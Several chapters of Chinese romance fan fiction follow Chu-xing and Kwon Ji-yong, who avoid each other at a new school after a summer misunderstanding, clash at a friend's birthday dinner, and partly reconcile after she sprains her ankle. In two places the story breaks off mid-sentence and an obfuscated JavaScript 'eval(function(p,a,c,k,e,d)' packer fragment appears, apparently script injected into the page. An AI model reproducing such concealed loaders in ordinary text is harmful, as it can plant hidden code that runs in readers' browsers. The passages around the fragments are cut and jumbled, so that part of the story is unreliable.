开学第一天,初星和珍雅挽着手,怀着对新环境不可避免的忐忑和一丝微弱的好奇,走进了这所规模更大、学生更多的陌生学校。她们跟着墙上贴着的指示牌和涌动的人潮,有些茫然地寻找着自己被分配的新班级。周围是喧闹的、互相打着招呼、分享暑假见闻的陌生面孔,更衬得她们俩有些格格不入的孤单。 “别怕,反正有我在呢!谁敢欺负你,我就用书包砸他!”珍雅用力握了握初星微微发凉的手,努力用夸张的语气给她打气,试图驱散她的不安。 初星点点头,努力想挤出一个让朋友安心的微笑,但嘴角的弧度却有些僵硬。她低下头,更专注地看着手里那张写有分班名单的打印纸,仿佛要将那些陌生的名字和数字刻进脑子里,以此来屏蔽周遭的陌生感和心底那份挥之不去的沉闷。 身边的珍雅猛然倒吸一口冷气,用力捏紧了她的手臂,声音因为惊讶和兴奋而压得低低的: “欧莫!欧莫!初星!你快看那边!看那边!是永裴欧巴!还有……天哪!是至龙欧巴?!他们怎么会在这里?!” 初星难以置信地、几乎是有些慌乱地抬起头,心脏狂跳,目光急切地顺着珍雅手指的方向、穿越攒动的人头望去。 在不远处,走廊尽头,两个身影在人群中显得格外醒目。其中一个笑容阳光爽朗,正熟稔地和路过的人击掌打招呼,正是永裴。而永裴身边,那个微微侧身靠着窗台、穿着同样款式的校服、低垂着眼睑似乎对周遭喧闹毫不在意的人——不是权至龙又是谁! 他真的在这里?!和她在同一所学校?! 震惊和难以置信席卷而过之后,所有积压的情绪——那些日夜不停的寻找、那些石沉大海的消息、那个永远无法接通的电话提示音、商场里他冰冷移开视线的眼神和逃离的背影……委屈、焦虑、被无视的难堪和失落——如同沸腾的岩浆,猛地冲破了理智的堤坝,轰然涌上心头! 一股尖锐的、被欺骗和被刻意回避的怒火,瞬间淹没了她!他切断了所有联系!他对她视而不见!他甚至可能就是为了避开她才……而现在,他又摆出这副拒人于千里之外的、仿佛什么都不曾发生的冷漠样子给谁看?!他凭什么?! 而活泼外向、尚未察觉到任何异样的珍雅,已经从最初的震惊中回过神来,惊喜地朝着那边用力挥了挥手,扬声喊道,充满了他乡遇故知的兴奋:“永裴欧巴!至龙欧巴!好巧啊!” 永裴闻声转过头,看到她们,脸上立刻露出惊讶又热情的笑容:“哦?珍雅?初星?哇!你们怎么会在这里?太巧了吧!”他显然非常意外,用手肘碰了碰身边置身事外的至龙 至龙被碰得抬起头,目光有些散漫地扫过来。视线触及到初星和珍雅的瞬间,惊愕和一丝清晰的慌乱在他脸上一闪而过,但他迅速垂下了眼睑,片刻后一种更深的、冰冷漠然的神色覆盖了他所有的情绪。 珍雅还没察觉到这诡异的气氛,依旧兴奋地说:“永裴欧巴!我们转学到这里了!以后就是校友了!真是太巧了!至龙欧巴也好久不见了!” 至龙深吸了一口气,胸腔微微起伏,努力让自己的表情看起来正常一点,他对着珍雅,极其勉强地、幅度很小地点了一下头,喉咙干涩得发紧,“……嗯。好久不见。” 他维持了面对朋友时最基本的礼貌,但任谁都能听出那语气里的僵硬和疏离。 随后他像是再也无法忍受在这个地方多待一秒,猛地伸出手,有些用力地拉了一下永裴的胳膊,更像是命令低声道,“永裴,走了,练习真的要迟到了。” 在至龙拉着还有些懵的永裴,转身要走的瞬间——初星上前了一小步,她抬起下巴,不再躲闪,直直地、带着一种冰冷的锐利,看向他冷漠的、试图逃离的侧影。声音异常清晰,穿透了走廊的喧闹,带着一种压抑了太久终于爆发的、淬着冰碴的怒意: “权至龙。” 至龙的脚步猛地顿住,背影瞬间僵硬得像一块被冻结的石头。他完全没料到初星会主动开口,而且还是用这种连名带姓的、充满疏离甚至火药味的方式。这比他预想中的任何情况都更让他措手不及,也更让他……心痛。 永裴和珍雅都愣住了,惊讶地瞪大了眼睛,看看初星,又看看至龙僵硬的背影,完全搞不清楚这突如其来的、剑拔弩张的状况。 初星盯着他那僵硬的、连转身勇气都没有的背影,心里又酸又胀,疼痛和怒火交织翻滚,却倔强地不肯流露出一丝一毫的软弱。她继续用那种冷冷的、带着明显讽刺的语调,一字一句地砸向他: “放心。” “以后在学校里,我们会当作不认识你的。” “不会打扰你——” 她的目光意有所指地扫过他刚才借口要离开的方向, “——宝贵的练习时间的。” 说完,她转过身,一把拉住还处于完全呆滞状态、嘴巴微张的珍雅的手腕,声音强行恢复了平常的语调,“珍雅,走了,我们也要迟到了。” 随后,她几乎是半拖半拽着懵懂的珍雅,脊背挺得笔直,朝着与至龙相反的方向,快步离开,每一步都踩得决绝而用力。 留下至龙僵硬地站在原地,仿佛被钉在了原地,全身的血液都冷透了。她话语里那带刺的疏远、冰冷的讽刺和毫不掩饰的怒气,几乎让他无法呼吸。 永裴在一旁目瞪口呆,看着初星的背影,又看看身边兄弟煞白的侧脸和紧握的双拳,完全搞不清楚这两个人之间到底发生了什么惊天动地的矛盾,会闹到如此地步。 初星拉着珍雅,几乎是逃离了那条令人窒息的走廊。直到飞快地拐过弯,确认再也看不到权至龙和永裴的身影,她的脚步才慢下来,挺得笔直的、仿佛用尽了所有力气的脊背也微微松懈,露出一丝不易察觉的、细微的颤抖。她松开珍雅的手,指尖冰凉。 “呀!裴初星!”珍雅回过神,一把抓住她的胳膊,将她拉到相对安静的角落,压低声音,连珠炮似的追问,“这到底是怎么回事?!你和至龙欧巴怎么了?他刚才那是什么死样子态度?还有你!你居然那样跟他说话?!你们不是……你们不是……”珍雅的话噎住了,她猛地想起暑假里初星那些莫名的低落、频繁查看手机又失望放下、以及偶尔流露出的烦躁和难过,恍然大悟,眼睛瞪得更大了,“……暑假里让你整天魂不守舍、闷闷不乐的,就是他?你们吵架了?而且吵得这么严重?!” 初星抿紧了嘴唇,鼻尖一酸,眼眶控制不住地有些发红,却倔强地死死咬住下唇,不肯让那点湿意汇聚成泪水掉下来。她深吸一口气,胡乱地点了点头,声音带着硬撑出来的冷硬和一丝难以掩饰的哽咽:“嗯。没什么,就是……以后在学校里,就当不认识他好了。” 珍雅看着好友这副明明难过得要命却强装冷漠的样子,心疼又无奈,用力搂住她的肩膀,给予无声的安慰:“好了好了,不想说就不说。管他呢!臭男生!以后我们俩一起!谁稀罕他!走,找教室去!新学期新开始!” 另一边,至龙几乎是凭借着身体本能,同手同脚地拉着永裴走出了很远。 “呀!权至龙!你放开我!你到底发什么疯?!”永裴用力挣开他铁钳般的手,揉着被拽得生疼的胳膊,一脸困惑、不满和浓浓的担忧,“初星和珍雅怎么会转来这里?还有,你刚才那是什么鬼态度?人家女孩子跟你打招呼,你一句‘嗯好久不见’就跟见了鬼一样掉头就跑?还有初星最后那句话……‘当作不认识你’?‘不打扰你宝贵的练习时间’?这火药味都快把屋顶掀了!你们之间到底发生了什么?出什么事了?!” 至龙停下脚步,胸口剧烈地起伏着,呼吸急促。初星那句冰冷的“权至龙”,以及那带着明显怒意和讽刺的“当作不认识你”、“不打扰”,像复读机一样在他耳边疯狂回响,每一个字都像一把烧红的烙铁,狠狠地烫在他的心上。她生气了?她凭什么生气?消失一个暑假、音讯全无、早已和别人在一起的人不是她吗?现在又用这种态度来指责他、讽刺他?她凭什么?! 各种混乱而激烈的情绪交织在一起,疯狂撕扯着他,让他心烦意乱,几乎要爆炸。 “没什么。”他最终从牙缝里硬邦邦地挤出三个字,脸色阴沉得能滴出水来,眼神看向别处,拒绝与永裴对视,“以后别提她们了。” 永裴看着他这副油盐不进、完全封闭的样子,知道再问下去也问不出什么,只好重重地叹了口气:“行吧行吧,你们的事我懒得管,也管不了。但好歹是认识的人,还是女孩子,下次见面别这样了,多尴尬啊!这以后在学校里抬头不见低头见的……” 至龙没有回答,只是下颚线绷得更紧,嘴唇抿成一条苍白的直线,眼神空洞地望向窗外明亮的天空,不知道在想什么,周身笼罩着一层生人勿近的低气压和浓得化不开的郁结。 接下来的日子,初星开始践行她在那天走廊上掷地有声的“宣言”。 在学校里,无论在哪里碰到权至龙,无论是嘈杂的走廊、拥挤的食堂还是开阔的操场,只要他的身影出现在视野范围内,她都会立刻、毫不犹豫地移开视线,她会立刻拉住珍雅,极其自然地、谈笑风生地绕道而行,或者和身边新结识的朋友大声讨论着功课或趣事,声音清脆响亮,完全无视他的存在,将他彻底排除在自己的世界之外。即使有时在楼梯转角或教室门口不可避免地近距离擦肩而过,她也会立刻绷紧下颌,抬高视线,目不 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永裴偶尔会看不下去,试图缓和这令人窒息的气氛。比如在食堂看到初星和珍雅端着餐盘寻找座位时,他想抬手打个招呼示意这边有空位,但每次都会被至龙冰冷得能冻死人的眼神,或者更直接的、近乎粗鲁地拉走他胳膊的动作所制止。“别多事。”至龙的声音总是压得很低,带着不容置疑的警告。珍雅也会在私下里,偷偷找到永裴,忧心忡忡地试图从他这里打听点内幕消息:“他们到底怎么了?至龙欧巴是不是做了什么对不起初星的事?”但永裴也只能苦笑着摇头:“我真的不清楚,至龙这小子这方面嘴巴严得要死,只知道他假期心情就一直差到极点,问什么都不说。” 两人就像陷入了一场古怪的、无声的、却又异常激烈的拉锯战。 …… 珍雅和永裴作为双方最好的朋友,看着这对明明互相在意(一个气得要命,一个躲得要死)、周围气压低得能冻死人却硬要装作陌生人的冤家,实在是忍无可忍了。尤其是永裴,夹在中间,一边是低气压爆表、一问就炸毛的兄弟,一边是时不时旁敲侧击、满脸担忧和不解的珍雅,他觉得再这样下去,自己迟早要得心脏病,这日子没法过了! 转机很快出现了。珍雅的生日就在周末。 “这是个绝佳的机会!”永裴找到珍雅,两人偷偷摸摸地躲在教学楼的楼梯间里秘密接头,像地下工作者一样,“趁你生日,我们把他们都叫出来!吃饭,聊天,气氛好的话,说不定能逼着他们把话说开!总不能一直这样下去吧?这学校还要不要待了!” 珍雅有些犹豫,眉头紧锁:“可是……初星现在一提到他就上火,眼神都能杀人,她能答应来吗?而且至龙欧巴那边……他那个样子,肯来吗?” “至龙交给我!”永裴把胸脯拍得砰砰响,一副包在我身上的架势,“我就说是给你过生日,大家都去,都是朋友,他总不能一点面子都不给吧?至于初星……”永裴挠了挠头,也觉得有点棘手,但还是努力出主意,“你就撒个娇,软磨硬泡!就说这是你转学后的第一个生日,意义重大,希望你最好的朋友都在场,她心那么软,肯定不忍心拒绝你的!你就说……就说当他不存在!眼不见心不烦!” 珍雅咬着嘴唇想了想,虽然觉得希望渺茫且风险巨大,但看着这僵局,也只能死马当活马医了,最终用力点了点头:“好吧!试试看!” 行动计划正式开始。 对初星,珍雅使出了浑身解数,挽着她的手臂,把脑袋靠在她肩膀上,软磨硬泡,声音甜得发腻:“初星~我最最亲爱的初星~我生日你一定要来哦!就我们几个,永裴欧巴他们也会来,都是你认识的人……我知道你不想见某人,我保证!我绝对保证不让他靠近你三米之内!你就当他是桌布上的花纹,是背景板,是空气!忽略掉就好了!拜托拜托~这是我新学校的第一个生日啊!没有你在,我会哭的!你真的忍心让我过一个不完整的生日吗?”她眨巴着大眼睛,做出可怜兮兮的表情。 初星紧紧皱着眉,心里是一万个不愿意。她确实一点都不想见到权至龙那张冷脸,但看着珍雅那双充满期待、带着点恳求的眼睛,心最终还是软了下来,她重重地、无奈地叹了口气,妥协了:“……好吧。说好了,我只跟你和永裴欧巴说话。他要是敢过来,我立刻就走。” 对至龙,永裴则采取了更直接更强硬的态度。他勾住至龙的脖子,把他拉到一边,用不容拒绝的语气说:“呀,珍雅生日,周末晚上FRAGMENT餐厅,已经定好位置了,必须到啊。” 至龙蹙起眉头,想都不想就拒绝:“不去。没空。要练习。” “呀!权至龙!”永裴加重了语气,手臂也用了点力,“珍雅也是我们的朋友!她刚转学过来,第一个生日你都不去?像话吗?就当给我个面子,行不行?就是去吃个饭,切个蛋糕,又不会怎么样!又不会少块肉!” 至龙一听到这种可能遇到她的场合就头皮发麻,本能地想要抗拒到底。但永裴把话说到这个份上,他再拒绝就显得太刻意、也太没风度了。他烦躁地抓了抓头发,最终还是极其不情愿地、从鼻子里哼出一声,“知道了。就去一会儿。切完蛋糕就走。” 25. 冰层下的暗流 珍雅生日当晚,餐厅那个小小的包间里,气氛从开始就陷入了令人坐立不安的诡异。 作为寿星的珍雅,使出了浑身解数,努力调动着气氛,声音比平时高了八度,笑声也格外响亮。永裴在一旁全力配合,插科打诨,讲着并不好笑的笑话,试图用喧嚣填满每一寸安静的缝隙。然而,他们的努力像是投入深潭的石子,只激起几圈微弱的涟漪,便迅速沉没于更深的沉寂之中。 初星紧挨着珍雅坐着,全程微低着头,视线牢牢锁在自己面前的餐具上,似乎那上面有无比吸引人的花纹。她只和珍雅、永裴进行必要的、简短的对话,声音轻而平淡,每一个音节都透着刻意保持的距离感。她将所有感官都屏蔽起来,坚决地、彻底地忽略掉坐在永裴旁边、对角线方向的那个存在。 而权至龙,则像一座被移植到喧闹中的冰山。他紧挨着永裴,帽檐压得极低,几乎遮住了大半张脸,只露出紧抿的唇和线条冷硬的下颌。他双臂环抱在胸前,周身散发出的“生人勿近”的低气压几乎凝成实质,将永裴努力营造的热闹氛围隔绝在外。他沉默着,几乎不发出任何声响,像是一尊没有生命的雕塑。 服务生端着饮料托盘进来,小心翼翼地绕过这桌气氛古怪的客人,依次放下杯子。初星正觉得刚才吃的食物有些腻口,便伸手拿起杯子,凑到唇边,准备喝一口解腻。 “别喝!” 权至龙的声音猛地响起,带着一种几乎破音的急切和惊慌,突兀地撕裂了包间里勉强维持的平静! 他几乎是条件反射地喊出了这两个字,身体甚至微微前倾了一下。然而,在话音出口的下一秒,他就意识到了自己的失态和越界。他看到初星的动作猛地顿住,举着杯子愣在原地,脸上写满了错愕;他看到珍雅和永裴同时投来探究的目光。难堪和一种“又搞砸了”的感觉瞬间涌上心头,将他淹没。 至龙深吸了一口气,硬生生将后续那句几乎要冲口而出的、带着亲昵的“你从来不喝纯牛奶,会反胃”给死死咽了回去。努力调整自己的面部肌肉,让声音听起来尽量平静、甚至带着一丝刻意拉远的疏离: “……那杯好像是纯牛奶。”他顿了顿,目光飞快地扫过那杯液体,又迅速移开,补充了一句,试图让这份关心听起来更像是一种普遍的、对任何陌生人都会有的提醒,“很多人……喝不惯那个味道。” 他的解释听起来有些苍白无力,甚至有点欲盖弥彰。但至少,他勉强维持了表面上的镇定。之后立刻别开脸、下意识地将帽檐压得更低、几乎要挡住整张脸的动作,还是泄露了他此刻的狼狈。 初星举着杯子的手,慢慢地、有些僵硬地放了下来。杯子里确实是纯牛奶,她刚才没有仔细分辨。她喝了确实会觉得有点反胃,胃里会不舒服。可是……他居然还记得?在经历了这么多冰冷和疏远之后,在这样刻意营造的陌生氛围里……他居然还能第一时间记得她这个微不足道的小习惯?甚至脱口而出地阻止? 那一刻,胸腔里那股燃烧了许久、支撑着她竖起所有尖刺的怒火,像是被这突如其来的关心,骤然浇灭了一大半。火焰熄灭了,只剩下被浇透的灰烬滋滋作响,冒着茫然无措的白烟。取而代之的,是一种更汹涌、更难以抵挡的酸涩和委屈,冲上鼻腔和眼眶,让她喉头哽咽。 他明明还记得……记得这么清楚……他明明还会下意识地关心她会不会不舒服……那为什么?!为什么又要那样对她?一个假期的断联和沉默,商场里冰冷的无视和逃离,刚才持续整晚的低气压和拒人千里……这一切到底是为了什么?! 她抿紧了嘴唇,用力到唇色有些发白,长长的睫毛迅速垂了下来,掩盖住了眼底翻腾的情绪。她将那只牛奶杯轻轻地、带着点决绝意味地推远了一些,声音低低的,带着一丝无法完全掩饰的哽咽和深深的疲惫,对一旁不知所措的服务生轻声说:“麻烦您……请给我换一杯柠檬水吧。谢谢。” 这句道谢很轻,几乎飘忽,却不再是之前那种划清界限的、冰冷的礼貌,反而透露出些许软弱和混乱。 珍雅和永裴都极其敏锐地捕捉到了初星语气里的变化。珍雅赶紧伸出手,轻轻拍了拍初星的后背,无声地传递着安慰,同时用眼神示意服务生快去换饮料。 永裴则小心翼翼地、飞快地瞥了一眼身边的至龙。至龙依旧僵硬地别着脸,帽檐压得极低,看不清他此刻的表情,但他紧绷得几乎有些颤抖的下颌线,以及无意识微微握紧的、指节泛白的拳头,都无比清晰地泄露了他内心的不平静。初星那软化的、带着哽咽和疲惫的语气,以及低垂眼帘掩饰脆弱的姿态,似乎也在他努力维持的、坚冰般的防御上,出其不意地敲开了一丝裂缝。 切蛋糕的环节,气氛还是微妙而紧绷。 珍雅作为寿星,切下第一块装饰着最大草莓的蛋糕,先递给了身边的初星:“初星,给你,最大的草莓!” 初星接过盘子,低声说了句:“谢谢珍雅,生日快乐。”声音还是有些闷。 当珍雅把另一块蛋糕递给至龙时,他只是极其快速地、含糊地偏过头,声音低哑地咕哝了一句:“……放那儿吧。”甚至没有伸手去接。 永裴赶紧接过话头,几乎是抢着说道:“哎呀给我给我!这块看起来奶油最多!我最喜欢了!”他努力用夸张的语气和动作试图炒热气氛,并顺势讲起了公司练习时发生的糗事。珍雅也心领神会,配合地发出夸张的笑声。 初星没有再说话,只是安静地、小口小口地吃着盘子里的蛋糕,味同嚼蜡。偶尔,她会极其快速地、偷偷地抬起眼睫,像受惊的蝴蝶般,极其短暂地掠过对面那个依旧被低气压笼罩、仿佛与周遭欢乐格格不入的身影。她的愤怒被困惑和悄然滋生的担忧所取代。他看起来……好像真的很难过,很疲惫。到底发生了什么严重的事情,会让他变成现在这个样子? 而至龙,虽然自始至终没有再看向初星的方向,但他全身的感官似乎都变成了只为捕捉她而存在的雷达。她细微的、几不可闻的叹息,她小口吃蛋糕时餐具轻微的碰撞声,甚至她偷偷看过来的、那带着温度的目光……都像最轻柔的羽毛,一下下搔刮着他紧绷到极致的神经。让他更加心烦意乱,坐立难安,也更加……无法真正地硬起心肠。 …… 生日会后,日子仿佛又回到了之前的轨道,但某些东西,已经悄然发生了改变。 初星不再像之前那样,只要看到至龙的身影,就立刻像只被激怒的刺猬,竖起全身的尖刺,故意用冰冷的无视或带着怒意的眼神去攻击对方。那一声突如其来的“别喝”,像一根柔软却无比坚韧的刺扎进了她的心里,时不时就带来一阵闷痛。 她依然会下意识地避开他,但眼神里不再是全然的愤怒和排斥,偶尔会掺杂着探究、迷茫,以及一种试图理解什么的努力。她会偷偷地、更快地掠过那个总是在人群中行色匆匆、或者独自待在角落、周身散发着隔离气息的身影。她开始真正地、无法控制地思考:到底发生了什么?那个曾经会因为她一点点不舒服就紧张得不行、把所有她喜欢和不喜欢的东西都记得一清二楚的权至龙,为什么会变得如此矛盾、如此疏远?是不是……真的存在什么她完全不知道的、非常严重的误会横亘在了他们之间? 而至龙,则陷入了更深的自我厌恶、混乱和恐惧之中。他懊恼于自己在生日会上的那次失控,那一下完全未经大脑的关心和阻止,仿佛彻底背叛了他好不容易才筑起的、用以自我保护的心理防线。他害怕自己会再次因为这种不受控制的下意识而心软,再次陷入那种充满期待却又注定落空、卑微而痛苦的循环里。 于是,像是为了惩罚自己的失控,也为了彻底杜绝再次发生类似“意外”的可能,他采取了更极端、更彻底的物理隔离策略。 他更加精准地计算和预测她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这些碎片化的、模糊的信息,辗转传到初星的耳朵里,让她的心情变得更加复杂难言。她会因为他练习辛苦、通宵熬夜而隐隐担心;会因为他写的歌得到认可而闪过一丝微小的、连自己都试图压下去的、不愿承认的开心;但更多的,是一种深深的无力感和被排除在外的隔阂感……她似乎已经被彻底地、决绝地排除在外了,只能通过别人曲折的转述,知道那么一星半点模糊的影子。 同样,永裴有时也会在和至龙单独相处、气氛相对不那么紧绷的时候,装作极其无意地、随口提起般问道:“哦,对了,今天偶然碰到珍雅,她好像说初星参加了学校的什么社团来着?画画还是什么的?记不清了……” 或者,在至龙对着乐谱发呆时,状似随意地插一句:“她们班这次考试好像挺难的,不过听说考得还行?” 至龙通常会面无表情地听着,目光停留在别处,不置一词,仿佛这些信息从左耳进右耳就出了,毫不在意。但细心的永裴注意到,每次只要“初星”这个名字被提及,至龙周身那种冰冷的、凝固般的低气压,总会有一瞬间极其细微的波动——要么是走路的脚步微不可查地顿一下,要么是翻动乐谱的手指突然停住片刻,要么是原本空洞的眼神会瞬间聚焦一下又迅速涣散。 他们都在通过别人,小心翼翼地、迂回地、间接地捕捉着关于对方的零星点滴,像在拼凑一个模糊的、遥远的、触不到的影子。 日子就在这种无声的、躲藏与观察、困惑与逃避的拉锯中,一天天过去。 两人在同一片校园天空下,呼吸着同样的空气,却上演着永不停歇的、令人疲惫的躲猫猫。 那层横亘在两人之间的薄冰,似乎并没有因为那次意外的关切而融化多少。 但冰层之下,因为那一声猝不及防的“别喝”和后续这些曲折辗转的信息传递,水流似乎不再完全是死寂一片,偶尔会有极其微弱的暗流涌动,搅动起难以言说的波澜。 只是,谁也没有勇气,谁也不知道该如何去敲开那层坚硬冰冷的冰面。 僵局,仍在持续。 沉默,震耳欲聋。 26. 和好? 和好的契机来得突然又意外,甚至有些狼狈。 午休时间,天空阴沉沉的,闷雷滚动,预示着即将有一场暴雨。初星和珍雅刚从教学楼出来,准备去交作业。至龙则为了避开人流,选择了一条相对偏僻的小路回教室。 几个低年级的男生在走廊里追逐打闹,其中一个陡然撞到了正抱着厚厚一摞作业本的初星! “啊!”初星惊呼一声,身体失去平衡,怀里的作业本天女散花般飞了出去,撒了一地。脚踝还在踉跄中狠狠扭了一下,钻心的疼痛袭来,倒吸一口凉气,脸色煞白地蹲了下去。 “对不起!学姐!”闯祸的男生慌忙道歉,看着满地狼藉和初星痛苦的表情,一时也手足无措。珍雅也吓了一跳,赶紧蹲下扶住初星:“初星!你没事吧?!” 这一切,恰好被不远处的至龙尽收眼底。 他的身体再次先于大脑做出了反应。 几乎没有任何犹豫,他猛地冲了过去,一把拨开那个愣住的男生,单膝跪在初星面前,眉头紧锁,声音里是掩藏不住的焦急和担忧,甚至带上了他自己都没意识到的、久违的熟稔语气:“呀!初星!你怎么样?脚还能动吗?” 他的手下意识地伸了出去,想要查看她的脚踝,但在即将触碰到的时候,又僵住了,仿佛被烫到一样缩了回来。 初星疼得眼泪在眼眶里打转,抬起头,正对上至龙近在咫尺的、写满了紧张和关切的脸。他的关心没有任何掩饰,真切得让她愣住,暂时忘记了疼痛。 珍雅看着跪在初星面前的至龙,又看看初星,识趣地没有出声。那几个闯祸的男生也吓得不敢动。 至龙看着初星疼得发白的脸和泛红的眼圈,所有那些筑起的冰冷防线,在这一刻土崩瓦解。什么难堪,什么委屈,什么自尊,在看到她受伤的痛苦面前,都变得不再重要。 他深吸一口气,声音依旧有些发紧,却不再是冰冷的疏离,而是带着一种认命般的温柔:“……别乱动。可能是扭伤了。” 他重新伸出手,没有犹豫,极其小心地、轻轻地扶住了她的胳膊,试图帮她稳定身体,动作谨慎得像是对待一件易碎的珍宝。 初星的眼泪忍不住掉了下来。不是因为脚踝的疼痛,而是因为他这突如其来的、熟悉的温柔。所有的委屈、困惑、还有这些日子以来的难过,似乎都找到了一个宣泄口。 “……权至龙,”她带着哭腔,声音小小的,却像锤子一样砸在他心上,“……你为什么要躲着我?” 至龙扶着她胳膊的手一颤。低下头,刘海遮住了他的眼睛,看不清表情。过了好几秒,他才用极其沙哑的声音,低低地反问,夹杂着颤抖和委屈: “……那你呢?” “……为什么一条消息都不回?” “为什么……和李叙夏……” 初星愣住了,甚至连眼泪都忘了流。李叙夏?消息? 她立刻反应过来,震惊和荒谬感让她脱口而出:“我搬家了!手机在搬家的时候摔坏了!修了好几天!我后来给你发信息解释了,你一直没回!我还以为……还以为你不想理我了!” 她喘了口气,又急又委屈地继续道,“至于李叙夏!我和他没什么,也没在一起!” 这下,轮到至龙愣住了。 他瞬间抬起头,眼睛因为震惊而睁大,难以置信地看着初星。没在一起?搬家?手机坏了? 所以……不是她不理他?不是她和别人…… “我……我不知道……”他语无伦次,脸上满是慌乱和无措,像个做错了事的孩子,“我……我没收到信息……我以为……” 他看着初星红肿的脚踝和满是泪痕的脸,心脏像是被狠狠揪了一下,疼得厉害。 “对不起……”这三个字,从他干涩的喉咙里滚了出来,沉重而真诚,“初星啊……对不起……是我……是我太傻了……” 这时酝酿已久的暴雨终于倾盆而下,豆大的雨点噼里啪啦地砸在走廊的玻璃窗上。但这突如其来的雨声,反而打破了两人之间最后那点尴尬和僵持。 珍雅赶紧招呼那几个还愣着的男生:“快!帮学姐把作业本捡起来!”然后对至龙说:“至龙欧巴,先别说了,快扶星星去保健室看看吧!” 至龙如梦初醒,连忙点头:“对,对,保健室。”他小心翼翼地,几乎是半扶半抱地搀扶着初星向保健室走去。 初星靠在他身上,脚踝很痛,心里却奇异地安定下来。感受着他久违的呵护,听着哗啦啦的雨声,还有他一遍遍低低的、懊恼的“对不起”,她忽然觉得,这个误会虽然让人难过,但能解开,真好。 保健室里只剩下初星和至龙。室内安静,只有窗外的雨声。 至龙坐在床边的椅子上,低着头,双手交握,脸上是浓浓的愧疚:“对不起……初星啊……我真的……” 初星靠在床头,沉默了一会儿,轻声开口,声音里带着点冷酷的坦诚: “至龙啊。” 他抬起头,看向她。 初星的侧脸在雨天的光线下显得有些疏离。“关于李叙夏……”她顿了顿,“我确实……对他有过一点点好感。” 至龙的心缩紧了。 但初星继续说了下去,“但那很短暂,很快就消失了。他后来……是跟我表白了。” 她转过头,目光直直地看向至龙,没有任何闪躲,说出的话却让至龙怔住: “我拒绝他,不是因为我不喜欢他那时的心动,也不是因为他不好。” “而是因为,我很快发现,他需要的那种感情,我给不了。” 她微微蹙眉,像是在陈述一个客观事实,甚至带着点对自己这种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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但看着眼前这个坦诚得近乎残忍的她,脚上还缠着绷带,脸上还带着泪痕,却又理直气壮地说着自己不想主动……他发现自己竟然一点都生气不起来,反而觉得……有点好笑,又有点心疼。 他喜欢的,不就是这个真实的、带着点小自私和小任性、有时会让人无可奈何的她吗? 他深吸一口气,脸上的神情渐渐被一种复杂的温柔取代。 “所以……”他看着她,声音低沉而清晰,“是因为我一直不知死活地、拼命地主动靠近你,对你好……所以才……留在了你身边,是吗?” 初星看着他,似乎没料到他会这么直接地问出来。她眨了眨还带着湿气的眼睛,微微歪着头,随后,很轻、却很肯定地点了一下头。 至龙忽然低低地笑了一声,那笑声里充满了自嘲、释然和一种难以言喻的宠溺。他伸出手,极其轻柔地,用指尖擦掉她脸颊上还未干透的一点泪痕,动作小心翼翼。 “知道了。”他说,语气里带着一种沉重的、却又甘之如饴的承诺: “那以后……还是换我来主动。” “你只要……像现在这样,偶尔给我一点回应就好。” “别再让我等不到回应,自己一个人胡思乱想,变成傻瓜了就行。” 27. 和好…… 至龙那带着宠溺和认命意味的承诺还未完全落下,初星看着他,那双刚刚哭过的、还带着水汽的眼睛里,却浮现出一种极其纯粹的坦诚。 她微微歪着头,语气平静,却带着一丝几不可察的迟疑: "但是……" "至龙啊,我不喜欢你。" 至龙脸上那刚刚浮现的笑意瞬间冻结。他擦着她眼泪的手指僵在半空中,血液似乎都在这一刻停止了流动。 初星看着至龙瞬间煞白的脸,心头莫名地揪了一下。她避开他受伤的眼神,声音不自觉地放轻了些,却依然清晰地继续道: "可能……" "以后也不会喜欢你。" 她停顿了一下,指尖无意识地蜷缩起来,像是在组织语言,又像是在给自己勇气: "你对我很好,我知道。" "但是……喜欢这种事情,好像不是谁对我好,谁陪在我身边,我就会喜欢谁的。" "所以……"她的声音越来越轻,带着一种她自己都没察觉到的犹豫,"你要不要……试着不要再喜欢我了?" "这样……对你比较好。" 轰—— 至龙感觉自己的世界在这一刻彻底崩塌、碎裂。所有的庆幸、所有的释然、所有的温柔承诺,都变成了一个巨大的笑话。 原来…… 原来是这样…… 她接受他的好,不是因为她也喜欢他。仅仅是因为……她习惯了被爱,而他恰好是那个提供爱的人。 疼痛如潮水般席卷了他,让他心脏抽搐般地疼。他看着她那张依旧带着些许迷茫和无辜的脸,第一次如此清晰地认识到她话语里的残酷真相。 他低下头,刘海遮住了他的眼睛,肩膀微微颤抖了一下。 在初星以为他会像之前那样沉默地离开,或者爆发怒火时,他却缓缓地抬起了头。 至龙的眼眶泛着惊人的红,里面水光闪烁,似乎用了极大的力气才忍住没有让眼泪掉下来。但他的眼神却没有愤怒,没有怨恨,只有深不见底的悲伤和固执的温柔。 他看着她,声音嘶哑得厉害,却带着令人心碎的平静和坚定,一字一句地说道: “……我知道。” 他深吸了一口气: “我知道你可能不喜欢我。” “我知道以后也许也不会。” “这些……我都知道。” 声音颤抖着,却异常清晰: “但是……” “我喜欢你,初星啊。” “只是像现在这样……看着你,能待在你身边……” “我就觉得……很幸福了。” “所以……”他看着她,眼神里是放弃所有抵抗后的、纯粹的恳求,“别赶我走,行吗?” “就算……只是让我对你好……” “也不行吗?” 他放下了所有的骄傲和自尊,只求一个能继续留在她身边、继续爱她的资格,即使那个位置可能永远只是“朋友”…… 这种近乎虔诚的、不求回报的深情,比任何愤怒的指责都更让初星感到震撼和……无措。 初星愣在原地,至龙那双盛满卑微爱意和泪光的眼睛,像一面镜子,照出了她之前所有理所当然的接受是多么的残忍。那句轻飘飘的“你别对我好了”被堵在喉咙里,再也说不出口。 拒绝一个愤怒的人很容易,但拒绝一个把整颗心捧到你面前、只求一个“对你好”的资格的人……太难了。 她第一次,在面对至龙时,感到了不知所措和一种沉甸甸的压力。她习惯了他的好,却从未想过这份好背后,承载着如此沉重的情感。 “……随便你吧。” 最终,她有些狼狈地移开了视线,声音干巴巴的,带着一丝不易察觉的慌乱。她不知道该如何处理这种情况,只能选择逃避。 至龙听到这句话,眼底的悲伤似乎融化了一点点,泛起一丝微弱的、可怜的光亮。像是得到了某种特许,即使这个特许听起来如此勉强。 “……谢谢。”他哑声说,声音轻得像叹息。为还能留在她身边而道谢,显得无比心酸。 